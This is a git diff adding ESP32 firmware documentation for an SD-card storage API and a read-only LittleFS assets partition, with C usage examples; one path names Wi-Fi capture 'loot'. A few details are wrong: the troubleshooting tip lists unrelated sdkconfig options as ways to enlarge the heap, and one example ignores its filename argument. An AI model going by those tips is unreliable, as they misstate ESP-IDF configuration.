Read specific line (1-based index) +char line[64]; +storage_read_line("/logs/system.log", line, sizeof(line), 5); + +// Read first/last line helpers +storage_read_first_line("/logs/system.log", line, sizeof(line)); +storage_read_last_line("/logs/system.log", line, sizeof(line)); + +// Iterate over all lines using a callback +void my_line_callback(const char *line, void *user_data) { + printf("Read line: %s\n", line); +} +storage_read_lines("/data/list.txt", my_line_callback, NULL); + +// Count lines in file +uint32_t count; +storage_count_lines("/data/list.txt", &count); +``` + +### Typed Data + +```c +int32_t count; +storage_read_int("/config/boot_count", &count); + +float temperature; +storage_read_float("/config/temp_threshold", &temperature); + +uint8_t byte; +storage_read_byte("/data/flag", &byte); + +uint8_t bytes[16]; +size_t num_bytes; +storage_read_bytes("/data/raw", bytes, sizeof(bytes), &num_bytes); +``` + +### Search Operations + +```c +// Check if file contains a string +bool found; +storage_file_contains("/logs/events.log", "ERROR", &found); + +// Count occurrences of a string +uint32_t count; +storage_count_occurrences("/logs/events.log", "WARNING", &count); +``` + +--- + +## Writing Data + +Header: `storage_write.h` + +All write functions automatically create parent directories if they don't exist (recursive mkdir). + +### Strings & Binary + +```c +// Write (overwrite) a string to a file +storage_write_string("/data/status.txt", "System Ready"); + +// Append to a file +storage_append_string("/logs/app.log", "Event occurred"); + +// Write binary data +uint8_t raw_data[] = {0x01, 0x02, 0x03}; +storage_write_binary("/data/blob.bin", raw_data, sizeof(raw_data)); + +// Append binary data +storage_append_binary("/data/stream.bin", raw_data, sizeof(raw_data)); +``` + +### Line-Based Writing + +```c +// Write single line with newline +storage_write_line("/data/entry.txt", "First entry"); + +// Append line with newline +storage_append_line("/logs/events.log", "Event occurred at 12:00"); +``` + +### Formatted Output + +Similar to `printf`, useful for logs or human-readable data. + +```c +storage_write_formatted("/logs/info.txt", "Boot count: %d\nTime: %u", count, timestamp); +storage_append_formatted("/logs/events.log", "[INFO] Sensor %s: %.2f\n", sensor_name, value); +``` + +### Typed Data + +```c +// Write integer +storage_write_int("/config/counter", 42); + +// Write float +storage_write_float("/config/threshold", 3.14159); + +// Write single byte +storage_write_byte("/data/flag", 0xFF); + +// Write byte array +uint8_t data[] = {0xDE, 0xAD, 0xBE, 0xEF}; +storage_write_bytes("/data/magic", data, sizeof(data)); +``` + +### CSV Support + +Helper for writing structured data. + +```c +const char *header[] = {"Timestamp", "Value", "Unit"}; +storage_write_csv_row("/data/sensors.csv", header, 3); +// Writes: Timestamp,Value,Unit\n + +const char *row[] = {"1234567890", "23.5", "°C"}; +storage_append_csv_row("/data/sensors.csv", row, 3); +// Appends: 1234567890,23.5,°C\n +``` + +--- + +## Stream I/O + +Header: `storage_stream.h` + +For high-throughput scenarios where the file must stay open across multiple writes (e.g., SPI bridge callbacks, packet capture, continuous logging). + +```c +#include "storage_stream.h" + +// Open a stream (file stays open until explicitly closed) +storage_stream_t stream = storage_stream_open(TOS_PATH_WIFI_LOOT_PCAPS "/capture.pcap", "wb"); + +// Write chunks as they arrive (e.g., inside a SPI stream callback) +storage_stream_write(stream, packet_data, packet_len); + +// Periodic flush to prevent data loss on crash +storage_stream_flush(stream); + +// Check state +if (storage_stream_is_open(stream)) { + size_t total = storage_stream_bytes_written(stream); +} + +// Read mode works too +storage_stream_t reader = storage_stream_open(TOS_PATH_LOGS "/system.log", "r"); +char buf[256]; +size_t read; +storage_stream_read(reader, buf, sizeof(buf), &read); +storage_stream_close(reader); + +// Close and free resources +storage_stream_close(stream); +``` + +| Function | Description | +|----------|-------------| +| `storage_stream_open(path, mode)` | Opens file, returns opaque handle | +| `storage_stream_write(stream, data, size)` | Writes chunk without closing | +| `storage_stream_read(stream, buf, size, *read)` | Reads chunk without closing | +| `storage_stream_flush(stream)` | Forces write to SD | +| `storage_stream_close(stream)` | Closes file and frees handle | +| `storage_stream_is_open(stream)` | Checks if handle is valid | +| `storage_stream_bytes_written(stream)` | Total bytes written in session | + +--- + +## Directory Operations + +Header: `storage_impl.h` + +| Function | Description | +|----------|-------------| +| `esp_err_t storage_dir_create(const char *path)` | Creates a directory. | +| `esp_err_t storage_dir_remove(const char *path)` | Removes an empty directory. | +| `esp_err_t storage_dir_remove_recursive(const char *path)` | Removes a directory and all contents. | +| `bool storage_dir_exists(const char *path)` | Checks if directory exists. | +| `esp_err_t storage_dir_is_empty(const char *path, bool *empty)` | Checks if directory is empty. | +| `esp_err_t storage_dir_list(const char *path, storage_dir_callback_t cb, void *user_data)` | Lists directory contents via callback. | +| `esp_err_t storage_dir_count(const char *path, uint32_t *file_count, uint32_t *dir_count)` | Counts files and subdirectories. | + +**Note**: `storage_dir_copy_recursive()` and `storage_dir_get_size()` return `ESP_ERR_NOT_SUPPORTED` (not yet implemented). + +### Directory Listing Example + +```c +void list_callback(const char *name, bool is_dir, void *user_data) { + printf("%s %s\n", is_dir ? "[DIR]" : "[FILE]", name); +} + +storage_dir_list("/data", list_callback, NULL); +``` + +--- + +## Storage Information + +Header: `storage_impl.h` + +Monitor storage usage and health. + +```c +// Print detailed usage report to log +storage_print_info_detailed(); + +// Get complete storage information +storage_info_t info; +storage_get_info(&info); +printf("Backend: %s\n", info.backend_name); +printf("Mount: %s\n", info.mount_point); +printf("Total: %llu bytes\n", info.total_bytes); + +// Get individual values +uint64_t total, free, used; +storage_get_total_space(&total); +storage_get_free_space(&free); +storage_get_used_space(&used); + +// Get usage percentage +float percent; +storage_get_usage_percent(&percent); + +// Get backend information +const char *backend = storage_get_backend_type(); +const char *mount = storage_get_mount_point_str(); +``` + +--- + +## Helper Functions + +Header: `storage_mkdir.h` + +```c +// Create directory path recursively (used internally by write functions) +esp_err_t storage_mkdir_recursive(const char *path); +``` + +This function creates all parent directories as needed. It's automatically called by write operations, but can be used directly when needed. + +--- + +## Example Usage + +```c +#include "storage_init.h" +#include "storage_impl.h" +#include "storage_read.h" +#include "storage_write.h" +#include "storage_stream.h" +#include "tos_storage_paths.h" + +void app_main() { + if (storage_init() != ESP_OK) { + printf("Storage init failed!\n"); + return; + } + + // Read config + char config[1024]; + storage_read_string(TOS_PATH_CONFIG_SCREEN, config, sizeof(config)); + + // Log startup + storage_append_formatted(TOS_PATH_LOGS "/boot.log", + "System started at %lu\n", xTaskGetTickCount()); + + // Stream write (for high-throughput capture) + storage_stream_t stream = storage_stream_open(TOS_PATH_WIFI_LOOT_PCAPS "/capture.pcap", "wb"); + storage_stream_write(stream, some_data, data_len); + storage_stream_close(stream); + + // Check storage health + float usage; + storage_get_usage_percent(&usage); + printf("Storage usage: %.1f%%\n", usage); +} +``` + +--- + +## Best Practices + +1. **Use `TOS_PATH_*` macros** - Never hardcode `"/sdcard/"` or mount points +2. **Check return values** - All functions return `esp_err_t` for error handling +3. **Use stream for high-throughput** - SPI callbacks, packet capture, continuous logging +4. **Monitor storage** - Use `storage_get_usage_percent()` to prevent full disk +5. **Use appropriate read functions** - Line-by-line for logs, binary for images +6. **Automatic directory creation** - Write functions create parent directories automatically +7. **Close streams** - Always call `storage_stream_close()` to prevent FAT32 corruption + +--- + +## Error Handling + +All functions return `esp_err_t` values. Common return codes: + +- `ESP_OK` - Operation successful +- `ESP_ERR_INVALID_ARG` - Invalid argument (NULL pointer, invalid size) +- `ESP_ERR_INVALID_STATE` - Storage not mounted +- `ESP_FAIL` - General failure (file not found, I/O error, etc.) +- `ESP_ERR_NOT_FOUND` - Item not found (used by some search functions) +- `ESP_ERR_NOT_SUPPORTED` - Feature not implemented + +Always check return values: + +```c +esp_err_t ret = storage_write_string("/config/test.txt", "data"); +if (ret != ESP_OK) { + ESP_LOGE(TAG, "Write failed: %s", esp_err_to_name(ret)); +} +``` \ No newline at end of file diff --git a/docs/storage_assets/c5.md b/docs/storage_assets/c5.md new file mode 100644 index 000000000..0eb3d7cff --- /dev/null +++ b/docs/storage_assets/c5.md @@ -0,0 +1,621 @@ +# Storage Assets Component + +This component provides read-only access to a dedicated LittleFS partition for storing static application assets like images, fonts, configuration files, and other resources that are flashed with the firmware. + +## Overview + +- **Location:** `components/storage/storage_assets/` +- **Main Header:** `include/storage_assets.h` +- **Implementation:** `storage_assets.c` +- **Dependencies:** `esp_littlefs`, `esp_vfs` +- **Partition:** `assets` (LittleFS, read-only in production) + +## Key Features + +- **Dedicated Partition:** Separate from application code and main storage. +- **LittleFS Backend:** Efficient wear-leveling filesystem optimized for flash. +- **Read-Only Access:** Assets are flashed once and cannot be modified at runtime. +- **Auto-Discovery:** Automatically lists all files in partition on initialization. +- **Memory Management:** Helper function to load entire files with automatic allocation. +- **Directory Traversal:** Recursive directory listing for debugging. + +## Typical Use Cases + +- **Graphical Assets:** Logos, icons, sprites, bitmaps for displays. +- **Fonts:** Pre-compiled font files for text rendering. +- **Configuration Templates:** Default configuration files. +- **Audio Samples:** Short sound effects or melodies. +- **IR/RF Databases:** Preloaded signal databases. +- **Firmware Resources:** Any read-only data needed by the application. + +## Configuration + +### Partition Table + +The assets partition must be defined in your partition table (`partitions.csv`): + +```csv +# Name, Type, SubType, Offset, Size, Flags +nvs, data, nvs, 0x9000, 0x6000, +phy_init, data, phy, 0xf000, 0x1000, +factory, app, factory, 0x10000, 1M, +assets, data, spiffs, 0x110000, 512K, +storage, data, spiffs, 0x190000, 1M, +``` + +**Important Notes:** +- The SubType must be `spiffs` (even though we use LittleFS - this is an ESP-IDF quirk). +- Size should be sufficient for all your assets (adjust as needed). +- The partition must be flashed before use. + +### Constants + +```c +#define ASSETS_MOUNT_POINT "/assets" +#define ASSETS_PARTITION_LABEL "assets" +``` + +These are defined internally and cannot be changed without modifying the source. + +--- + +## API Reference + +### Initialization + +#### `storage_assets_init` + +```c +esp_err_t storage_assets_init(void); +``` + +Initializes and mounts the assets partition. Must be called before any other asset operations. + +**Behavior:** +- Mounts the LittleFS partition at `/assets`. +- Formats the partition if mounting fails (useful for first flash). +- Lists all files in the partition for debugging. +- Displays partition size and usage statistics. + +**Returns:** +- `ESP_OK` - Assets partition mounted successfully. +- `ESP_ERR_NOT_FOUND` - Partition 'assets' not found in partition table. +- `ESP_FAIL` - Mount or format failed. +- `ESP_ERR_INVALID_STATE` - Already initialized. + +**Example:** +```c +void app_main(void) { + esp_err_t ret = storage_assets_init(); + if (ret == ESP_OK) { + printf("Assets ready!\n"); + } else if (ret == ESP_ERR_NOT_FOUND) { + printf("ERROR: 'assets' partition not found!\n"); + printf("Check your partition table.\n"); + } else { + printf("Assets init failed: %s\n", esp_err_to_name(ret)); + } +} +``` + +**Console Output Example:** +``` +I (1234) storage_assets: Initializing LittleFS for assets partition +I (1245) storage_assets: Assets ready at /assets +I (1246) storage_assets: Partition size: 524288 bytes, used: 12345 bytes +I (1247) storage_assets: === Files in assets partition === +I (1248) storage_assets: [1] logo.bin (1200 bytes) +I (1249) storage_assets: [DIR] fonts/ +I (1250) storage_assets: [2] arial.ttf (45000 bytes) +I (1251) storage_assets: [3] config_template.json (567 bytes) +I (1252) storage_assets: Total: 3 file(s), 1 dir(s) +I (1253) storage_assets: ================================ +``` + +--- + +#### `storage_assets_deinit` + +```c +esp_err_t storage_assets_deinit(void); +``` + +Unmounts the assets partition and releases resources. + +**Returns:** +- `ESP_OK` - Unmounted successfully. +- `ESP_ERR_INVALID_STATE` - Not initialized. + +**Example:** +```c +// Before system shutdown +storage_assets_deinit(); +``` + +--- + +#### `storage_assets_is_mounted` + +```c +bool storage_assets_is_mounted(void); +``` + +Checks if the assets partition is currently mounted. + +**Returns:** +- `true` - Partition is mounted and ready. +- `false` - Partition is not mounted. + +**Example:** +```c +if (!storage_assets_is_mounted()) { + storage_assets_init(); +} +``` + +--- + +### File Access + +#### `storage_assets_get_file_size` + +```c +esp_err_t storage_assets_get_file_size(const char *filename, size_t *out_size); +``` + +Gets the size of a file in the assets partition without reading it. + +**Parameters:** +- `filename` - Name of the file (e.g., "logo.bin", "fonts/arial.ttf"). +- `out_size` - Pointer to store file size in bytes. + +**Returns:** +- `ESP_OK` - Size retrieved successfully. +- `ESP_ERR_INVALID_STATE` - Assets not initialized. +- `ESP_ERR_INVALID_ARG` - NULL parameters. +- `ESP_ERR_NOT_FOUND` - File doesn't exist. + +**Example:** +```c +size_t logo_size; +if (storage_assets_get_file_size("logo.bin", &logo_size) == ESP_OK) { + printf("Logo is %zu bytes\n", logo_size); + + // Allocate buffer of exact size + uint8_t *buffer = malloc(logo_size); +} +``` + +--- + +#### `storage_assets_read_file` + +```c +esp_err_t storage_assets_read_file(const char *filename, uint8_t *buffer, size_t size, size_t *out_read); +``` + +Reads file content into a pre-allocated buffer. + +**Parameters:** +- `filename` - Name of the file. +- `buffer` - Pre-allocated buffer to receive data. +- `size` - Maximum bytes to read (buffer size). +- `out_read` - Pointer to store actual bytes read (can be NULL). + +**Returns:** +- `ESP_OK` - File read successfully. +- `ESP_ERR_INVALID_STATE` - Assets not initialized. +- `ESP_ERR_INVALID_ARG` - Invalid parameters. +- `ESP_ERR_NOT_FOUND` - File doesn't exist. + +**Example:** +```c +uint8_t buffer[2048]; +size_t bytes_read; + +esp_err_t ret = storage_assets_read_file("config.json", buffer, sizeof(buffer), &bytes_read); +if (ret == ESP_OK) { + buffer[bytes_read] = '\0'; // Null-terminate if text + printf("Config: %s\n", (char *)buffer); +} else { + printf("Failed to read config: %s\n", esp_err_to_name(ret)); +} +``` + +--- + +#### `storage_assets_load_file` + +```c +uint8_t* storage_assets_load_file(const char *filename, size_t *out_size); +``` + +Loads an entire file into dynamically allocated memory. **Caller must free() the returned pointer.** + +**Parameters:** +- `filename` - Name of the file. +- `out_size` - Pointer to store file size (can be NULL). + +**Returns:** +- Pointer to allocated buffer containing file data. +- `NULL` on error (allocation failure, file not found, etc.). + +**Example:** +```c +size_t image_size; +uint8_t *image_data = storage_assets_load_file("splash_screen.bin", &image_size); + +if (image_data != NULL) { + // Use the image data + display_draw_bitmap(image_data, image_size); + + // IMPORTANT: Free when done! + free(image_data); +} else { + printf("Failed to load splash screen\n"); +} +``` + +**Memory Warning:** This function allocates heap memory. Ensure sufficient heap is available before loading large files. + +--- + +### Utility Functions + +#### `storage_assets_get_mount_point` + +```c +const char* storage_assets_get_mount_point(void); +``` + +Returns the mount point path for the assets partition. + +**Returns:** +- Constant string "/assets". + +**Example:** +```c +const char *mount = storage_assets_get_mount_point(); + +// Construct full path +char full_path[128]; +snprintf(full_path, sizeof(full_path), "%s/%s", mount, "config.json"); + +// Use with standard file operations +FILE *f = fopen(full_path, "r"); +``` + +--- + +#### `storage_assets_print_info` + +```c +void storage_assets_print_info(void); +``` + +Prints detailed information about the assets partition to the console. + +**Parameters:** None + +**Returns:** Nothing (void) + +**Example Output:** +``` +I (1234) storage_assets: === Assets Partition Info === +I (1235) storage_assets: Mount point: /assets +I (1236) storage_assets: Partition: assets +I (1237) storage_assets: Total size: 524288 bytes (512.00 KB) +I (1238) storage_assets: Used: 98765 bytes (96.45 KB) +I (1239) storage_assets: Free: 425523 bytes (415.55 KB) +I (1240) storage_assets: Usage: 18.8% +``` + +**Usage:** +```c +// During debugging or diagnostics +storage_assets_print_info(); +``` + +--- + +## Implementation Details + +### Directory Listing + +The component includes a recursive directory listing function that runs automatically during initialization: + +```c +static void list_directory_recursive(const char *path, const char *prefix, + int *file_count, int *dir_count); +``` + +This helps during development to verify that assets were flashed correctly. + +### Path Handling + +All file operations internally prepend the mount point: + +```c +// User provides: "logo.bin" +// Internally becomes: "/assets/logo.bin" +``` + +Subdirectories are supported: +```c +// User provides: "fonts/arial.ttf" +// Internally becomes: "/assets/fonts/arial.ttf" +``` + +### Error Handling + +All functions validate: +- Initialization state +- Parameter validity +- File existence +- Memory allocation success + +Always check return values to ensure robust operation. + +--- + +## Usage Patterns + +### Loading a Bitmap for Display + +```c +void display_splash_screen(void) { + size_t image_size; + uint8_t *image = storage_assets_load_file("splash.bin", &image_size); + + if (image == NULL) { + ESP_LOGE(TAG, "Failed to load splash screen"); + return; + } + + // Expected format: 128x64 monochrome bitmap + if (image_size != (128 * 64) / 8) { + ESP_LOGW(TAG, "Unexpected image size: %zu", image_size); + } + + // Send to display + oled_draw_bitmap(0, 0, image, 128, 64); + + // Clean up + free(image); +} +``` + +--- + +### Loading Configuration Template + +```c +cJSON* load_default_config(void) { + uint8_t *json_data = storage_assets_load_file("config_template.json", NULL); + if (json_data == NULL) { + return NULL; + } + + cJSON *config = cJSON_Parse((const char *)json_data); + free(json_data); + + return config; +} +``` + +--- + +### Preloading Assets at Boot + +```c +typedef struct { + uint8_t *logo_data; + size_t logo_size; + uint8_t *font_data; + size_t font_size; +} app_assets_t; + +app_assets_t g_assets = {0}; + +esp_err_t preload_assets(void) { + // Load logo + g_assets.logo_data = storage_assets_load_file("logo.bin", &g_assets.logo_size); + if (g_assets.logo_data == NULL) { + return ESP_FAIL; + } + + // Load font + g_assets.font_data = storage_assets_load_file("font.bin", &g_assets.font_size); + if (g_assets.font_data == NULL) { + free(g_assets.logo_data); + return ESP_FAIL; + } + + ESP_LOGI(TAG, "Assets preloaded (%zu + %zu bytes)", + g_assets.logo_size, g_assets.font_size); + + return ESP_OK; +} + +void cleanup_assets(void) { + free(g_assets.logo_data); + free(g_assets.font_data); + memset(&g_assets, 0, sizeof(g_assets)); +} +``` + +--- + +### Chunked Reading for Large Files + +```c +esp_err_t process_large_asset(const char *filename) { + FILE *f = fopen("/assets/large_file.dat", "rb"); + if (!f) { + return ESP_FAIL; + } + + uint8_t chunk[512]; + size_t bytes_read; + + while ((bytes_read = fread(chunk, 1, sizeof(chunk), f)) > 0) { + // Process chunk + process_data(chunk, bytes_read); + } + + fclose(f); + return ESP_OK; +} +``` + +--- + +### Conditional Asset Loading + +```c +void load_language_assets(const char *language) { + char filename[64]; + snprintf(filename, sizeof(filename), "strings_%s.json", language); + + uint8_t *strings = storage_assets_load_file(filename, NULL); + if (strings == NULL) { + ESP_LOGW(TAG, "Language '%s' not found, using default", language); + strings = storage_assets_load_file("strings_en.json", NULL); + } + + if (strings != NULL) { + parse_language_strings((const char *)strings); + free(strings); + } +} +``` + +--- + +## Flashing Assets + +### Option 1: Automatic (Recommended) + +Add to your `CMakeLists.txt`: + +```cmake +# Create assets partition image from 'assets' folder +littlefs_create_partition_image(assets assets FLASH_IN_PROJECT) +``` + +This automatically flashes the `assets/` folder content when running `idf.py flash`. + +### Option 2: Manual Flash + +```bash +# Build the assets partition image +idf.py build + +# Flash everything including assets +idf.py flash + +# Or flash only assets partition +esptool.py write_flash 0x110000 build/assets.bin +``` + +**Note:** Replace `0x110000` with the actual offset from your partition table. + +### Asset Folder Structure + +``` +project/ +├── assets/ +│ ├── logo.bin +│ ├── config_template.json +│ ├── fonts/ +│ │ ├── arial.ttf +│ │ └── mono.ttf +│ └── images/ +│ ├── icon_wifi.bin +│ └── icon_battery.bin +└── main/ + └── main.c +``` + +--- + +## Troubleshooting + +### "Partition 'assets' not found" + +**Problem:** The assets partition is not defined in the partition table. + +**Solution:** +1. Add partition to `partitions.csv`: + ```csv + assets, data, spiffs, 0x110000, 512K, + ``` +2. Set partition table in `sdkconfig`: + ``` + CONFIG_PARTITION_TABLE_CUSTOM_FILENAME="partitions.csv" + CONFIG_PARTITION_TABLE_CUSTOM=y + ``` +3. Rebuild: `idf.py fullclean && idf.py build` + +--- + +### "(empty - partition has no files!)" + +**Problem:** Assets partition exists but contains no files. + +**Solution:** +1. Create `assets/` folder in project root +2. Add files to the folder +3. Enable automatic flash in `CMakeLists.txt`: + ```cmake + littlefs_create_partition_image(assets assets FLASH_IN_PROJECT) + ``` +4. Rebuild and flash: `idf.py flash` + +--- + +### "Failed to allocate memory" + +**Problem:** Insufficient heap for large asset file. + +**Solutions:** +- Use `storage_assets_read_file()` with pre-allocated buffer instead of `load_file()` +- Read file in chunks instead of loading entirely +- Increase heap size in `sdkconfig`: + ``` + CONFIG_ESP_SYSTEM_EVENT_TASK_STACK_SIZE=4096 + CONFIG_FREERTOS_HZ=1000 + ``` + +--- + +### File Not Found at Runtime + +**Problem:** File exists in assets folder but not found at runtime. + +**Checklist:** +- [ ] Is partition flashed? (`idf.py flash`) +- [ ] Is filename correct? (case-sensitive!) +- [ ] Is `storage_assets_init()` called before reading? +- [ ] Check `storage_assets_print_info()` output - does it list your file? + +--- + +## Performance Considerations + +- **Initialization:** Takes 100-500ms depending on partition size and file count. +- **File Reading:** LittleFS is optimized for small files (< 1MB). +- **Memory:** `load_file()` allocates heap - monitor with `esp_get_free_heap_size()`. +- **Large Files:** For files > 100KB, consider chunked reading instead of full load. + +--- + +## Best Practices + +1. **Keep Assets Small:** LittleFS works best with many small files rather than few large ones. +2. **Compress When Possible:** Pre-compress assets (e.g., PNG → binary bitmap) before flashing. +3. **Validate Sizes:** Always check file sizes match expected values. +4. **Free Memory:** Always `free()` pointers returned by `load_file()`. +5. **Handle Errors:** Never assume assets are present - always validate return codes. +6. **Use Subdirectories:** Organize assets logically (fonts/, images/, sounds/). +7. **Version Assets:** Include version info in filenames or metadata for updates. \ No newline at end of file diff --git a/docs/storage_assets/p4.md b/docs/storage_assets/p4.md new file mode 100644 index 000000000..cecae0af5 --- /dev/null +++ b/docs/storage_assets/p4.md @@ -0,0 +1,621 @@ +# Storage Assets Component + +This component provides read-only access to a dedicated LittleFS partition for storing static application assets like images, fonts, configuration files, and other resources that are flashed with the firmware. + +## Overview + +- **Location:** `components/Service/storage_assets/` +- **Main Header:** `include/storage_assets.h` +- **Implementation:** `storage_assets.c` +- **Dependencies:** `esp_littlefs`, `esp_vfs` +- **Partition:** `assets` (LittleFS, read-only in production) + +## Key Features + +- **Dedicated Partition:** Separate from application code and main storage. +- **LittleFS Backend:** Efficient wear-leveling filesystem optimized for flash. +- **Read-Only Access:** Assets are flashed once and cannot be modified at runtime. +- **Auto-Discovery:** Automatically lists all files in partition on initialization. +- **Memory Management:** Helper function to load entire files with automatic allocation. +- **Directory Traversal:** Recursive directory listing for debugging. + +## Typical Use Cases + +- **Graphical Assets:** Logos, icons, sprites, bitmaps for displays. +- **Fonts:** Pre-compiled font files for text rendering. +- **Configuration Templates:** Default configuration files. +- **Audio Samples:** Short sound effects or melodies. +- **IR/RF Databases:** Preloaded signal databases. +- **Firmware Resources:** Any read-only data needed by the application. + +## Configuration + +### Partition Table + +The assets partition must be defined in your partition table (`partitions.csv`): + +```csv +# Name, Type, SubType, Offset, Size, Flags +nvs, data, nvs, 0x9000, 0x6000, +phy_init, data, phy, 0xf000, 0x1000, +factory, app, factory, 0x10000, 1M, +assets, data, spiffs, 0x110000, 512K, +storage, data, spiffs, 0x190000, 1M, +``` + +**Important Notes:** +- The SubType must be `spiffs` (even though we use LittleFS - this is an ESP-IDF quirk). +- Size should be sufficient for all your assets (adjust as needed). +- The partition must be flashed before use. + +### Constants + +```c +#define ASSETS_MOUNT_POINT "/assets" +#define ASSETS_PARTITION_LABEL "assets" +``` + +These are defined internally and cannot be changed without modifying the source. + +--- + +## API Reference + +### Initialization + +#### `storage_assets_init` + +```c +esp_err_t storage_assets_init(void); +``` + +Initializes and mounts the assets partition. Must be called before any other asset operations. + +**Behavior:** +- Mounts the LittleFS partition at `/assets`. +- Formats the partition if mounting fails (useful for first flash). +- Lists all files in the partition for debugging. +- Displays partition size and usage statistics. + +**Returns:** +- `ESP_OK` - Assets partition mounted successfully. +- `ESP_ERR_NOT_FOUND` - Partition 'assets' not found in partition table. +- `ESP_FAIL` - Mount or format failed. +- `ESP_ERR_INVALID_STATE` - Already initialized. + +**Example:** +```c +void app_main(void) { + esp_err_t ret = storage_assets_init(); + if (ret == ESP_OK) { + printf("Assets ready!\n"); + } else if (ret == ESP_ERR_NOT_FOUND) { + printf("ERROR: 'assets' partition not found!\n"); + printf("Check your partition table.\n"); + } else { + printf("Assets init failed: %s\n", esp_err_to_name(ret)); + } +} +``` + +**Console Output Example:** +``` +I (1234) storage_assets: Initializing LittleFS for assets partition +I (1245) storage_assets: Assets ready at /assets +I (1246) storage_assets: Partition size: 524288 bytes, used: 12345 bytes +I (1247) storage_assets: === Files in assets partition === +I (1248) storage_assets: [1] logo.bin (1200 bytes) +I (1249) storage_assets: [DIR] fonts/ +I (1250) storage_assets: [2] arial.ttf (45000 bytes) +I (1251) storage_assets: [3] config_template.json (567 bytes) +I (1252) storage_assets: Total: 3 file(s), 1 dir(s) +I (1253) storage_assets: ================================ +``` + +--- + +#### `storage_assets_deinit` + +```c +esp_err_t storage_assets_deinit(void); +``` + +Unmounts the assets partition and releases resources. + +**Returns:** +- `ESP_OK` - Unmounted successfully. +- `ESP_ERR_INVALID_STATE` - Not initialized. + +**Example:** +```c +// Before system shutdown +storage_assets_deinit(); +``` + +--- + +#### `storage_assets_is_mounted` + +```c +bool storage_assets_is_mounted(void); +``` + +Checks if the assets partition is currently mounted. + +**Returns:** +- `true` - Partition is mounted and ready. +- `false` - Partition is not mounted. + +**Example:** +```c +if (!storage_assets_is_mounted()) { + storage_assets_init(); +} +``` + +--- + +### File Access + +#### `storage_assets_get_file_size` + +```c +esp_err_t storage_assets_get_file_size(const char *filename, size_t *out_size); +``` + +Gets the size of a file in the assets partition without reading it. + +**Parameters:** +- `filename` - Name of the file (e.g., "logo.bin", "fonts/arial.ttf"). +- `out_size` - Pointer to store file size in bytes. + +**Returns:** +- `ESP_OK` - Size retrieved successfully. +- `ESP_ERR_INVALID_STATE` - Assets not initialized. +- `ESP_ERR_INVALID_ARG` - NULL parameters. +- `ESP_ERR_NOT_FOUND` - File doesn't exist. + +**Example:** +```c +size_t logo_size; +if (storage_assets_get_file_size("logo.bin", &logo_size) == ESP_OK) { + printf("Logo is %zu bytes\n", logo_size); + + // Allocate buffer of exact size + uint8_t *buffer = malloc(logo_size); +} +``` + +--- + +#### `storage_assets_read_file` + +```c +esp_err_t storage_assets_read_file(const char *filename, uint8_t *buffer, size_t size, size_t *out_read); +``` + +Reads file content into a pre-allocated buffer. + +**Parameters:** +- `filename` - Name of the file. +- `buffer` - Pre-allocated buffer to receive data. +- `size` - Maximum bytes to read (buffer size). +- `out_read` - Pointer to store actual bytes read (can be NULL). + +**Returns:** +- `ESP_OK` - File read successfully. +- `ESP_ERR_INVALID_STATE` - Assets not initialized. +- `ESP_ERR_INVALID_ARG` - Invalid parameters. +- `ESP_ERR_NOT_FOUND` - File doesn't exist. + +**Example:** +```c +uint8_t buffer[2048]; +size_t bytes_read; + +esp_err_t ret = storage_assets_read_file("config.json", buffer, sizeof(buffer), &bytes_read); +if (ret == ESP_OK) { + buffer[bytes_read] = '\0'; // Null-terminate if text + printf("Config: %s\n", (char *)buffer); +} else { + printf("Failed to read config: %s\n", esp_err_to_name(ret)); +} +``` + +--- + +#### `storage_assets_load_file` + +```c +uint8_t* storage_assets_load_file(const char *filename, size_t *out_size); +``` + +Loads an entire file into dynamically allocated memory. **Caller must free() the returned pointer.** + +**Parameters:** +- `filename` - Name of the file. +- `out_size` - Pointer to store file size (can be NULL). + +**Returns:** +- Pointer to allocated buffer containing file data. +- `NULL` on error (allocation failure, file not found, etc.). + +**Example:** +```c +size_t image_size; +uint8_t *image_data = storage_assets_load_file("splash_screen.bin", &image_size); + +if (image_data != NULL) { + // Use the image data + display_draw_bitmap(image_data, image_size); + + // IMPORTANT: Free when done! + free(image_data); +} else { + printf("Failed to load splash screen\n"); +} +``` + +**Memory Warning:** This function allocates heap memory. Ensure sufficient heap is available before loading large files. + +--- + +### Utility Functions + +#### `storage_assets_get_mount_point` + +```c +const char* storage_assets_get_mount_point(void); +``` + +Returns the mount point path for the assets partition. + +**Returns:** +- Constant string "/assets". + +**Example:** +```c +const char *mount = storage_assets_get_mount_point(); + +// Construct full path +char full_path[128]; +snprintf(full_path, sizeof(full_path), "%s/%s", mount, "config.json"); + +// Use with standard file operations +FILE *f = fopen(full_path, "r"); +``` + +--- + +#### `storage_assets_print_info` + +```c +void storage_assets_print_info(void); +``` + +Prints detailed information about the assets partition to the console. + +**Parameters:** None + +**Returns:** Nothing (void) + +**Example Output:** +``` +I (1234) storage_assets: === Assets Partition Info === +I (1235) storage_assets: Mount point: /assets +I (1236) storage_assets: Partition: assets +I (1237) storage_assets: Total size: 524288 bytes (512.00 KB) +I (1238) storage_assets: Used: 98765 bytes (96.45 KB) +I (1239) storage_assets: Free: 425523 bytes (415.55 KB) +I (1240) storage_assets: Usage: 18.8% +``` + +**Usage:** +```c +// During debugging or diagnostics +storage_assets_print_info(); +``` + +--- + +## Implementation Details + +### Directory Listing + +The component includes a recursive directory listing function that runs automatically during initialization: + +```c +static void list_directory_recursive(const char *path, const char *prefix, + int *file_count, int *dir_count); +``` + +This helps during development to verify that assets were flashed correctly. + +### Path Handling + +All file operations internally prepend the mount point: + +```c +// User provides: "logo.bin" +// Internally becomes: "/assets/logo.bin" +``` + +Subdirectories are supported: +```c +// User provides: "fonts/arial.ttf" +// Internally becomes: "/assets/fonts/arial.ttf" +``` + +### Error Handling + +All functions validate: +- Initialization state +- Parameter validity +- File existence +- Memory allocation success + +Always check return values to ensure robust operation. + +--- + +## Usage Patterns + +### Loading a Bitmap for Display + +```c +void display_splash_screen(void) { + size_t image_size; + uint8_t *image = storage_assets_load_file("splash.bin", &image_size); + + if (image == NULL) { + ESP_LOGE(TAG, "Failed to load splash screen"); + return; + } + + // Expected format: 128x64 monochrome bitmap + if (image_size != (128 * 64) / 8) { + ESP_LOGW(TAG, "Unexpected image size: %zu", image_size); + } + + // Send to display + oled_draw_bitmap(0, 0, image, 128, 64); + + // Clean up + free(image); +} +``` + +--- + +### Loading Configuration Template + +```c +cJSON* load_default_config(void) { + uint8_t *json_data = storage_assets_load_file("config_template.json", NULL); + if (json_data == NULL) { + return NULL; + } + + cJSON *config = cJSON_Parse((const char *)json_data); + free(json_data); + + return config; +} +``` + +--- + +### Preloading Assets at Boot + +```c +typedef struct { + uint8_t *logo_data; + size_t logo_size; + uint8_t 